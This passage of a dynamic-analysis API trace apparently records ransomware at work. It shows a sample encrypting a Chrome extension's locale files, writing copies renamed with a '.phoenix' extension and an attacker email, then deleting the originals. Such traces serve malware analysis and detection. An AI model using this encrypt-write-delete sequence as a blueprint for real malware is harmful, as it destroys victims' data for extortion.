	[0255.343] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.343] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.343] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0255.343] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.343] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe2, lpOverlapped=0x0) returned 1
	[0255.345] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0255.345] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0255.346] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0255.346] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.346] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.346] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.346] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.346] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.346] CloseHandle (hObject=0x2b4) returned 1
	[0255.346] CloseHandle (hObject=0x300) returned 1
	[0255.346] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json")) returned 1
	[0255.361] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.361] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=260) returned 1
	[0255.361] CloseHandle (hObject=0x300) returned 1
	[0255.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json")) returned 0x20
	[0255.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.362] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.362] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0255.364] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.364] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x104, lpOverlapped=0x0) returned 1
	[0255.365] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0255.365] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0255.366] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0255.366] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.366] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.366] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.366] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.367] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.367] CloseHandle (hObject=0x300) returned 1
	[0255.367] CloseHandle (hObject=0x2b4) returned 1
	[0255.367] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json")) returned 1
	[0255.368] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.369] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=221) returned 1
	[0255.369] CloseHandle (hObject=0x2b4) returned 1
	[0255.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json")) returned 0x20
	[0255.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.369] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.369] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.369] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.369] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0255.370] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.370] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdd, lpOverlapped=0x0) returned 1
	[0255.371] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.371] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0255.373] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.373] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.373] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.373] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.373] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.373] CloseHandle (hObject=0x2b4) returned 1
	[0255.373] CloseHandle (hObject=0x300) returned 1
	[0255.373] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json")) returned 1
	[0255.374] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.375] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=270) returned 1
	[0255.375] CloseHandle (hObject=0x300) returned 1
	[0255.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json")) returned 0x20
	[0255.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.375] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.375] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.375] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.375] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0255.376] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.376] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10e, lpOverlapped=0x0) returned 1
	[0255.377] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0255.377] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0255.378] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0255.378] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.378] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.378] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.378] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.388] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.388] CloseHandle (hObject=0x300) returned 1
	[0255.388] CloseHandle (hObject=0x2b4) returned 1
	[0255.388] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json")) returned 1
	[0255.390] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.390] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.390] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=237) returned 1
	[0255.390] CloseHandle (hObject=0x2b4) returned 1
	[0255.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json")) returned 0x20
	[0255.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.390] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.391] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.391] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.391] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0255.391] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.391] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xed, lpOverlapped=0x0) returned 1
	[0255.779] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0255.779] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0255.780] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0255.780] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.780] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.780] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.780] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.781] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.781] CloseHandle (hObject=0x2b4) returned 1
	[0255.781] CloseHandle (hObject=0x300) returned 1
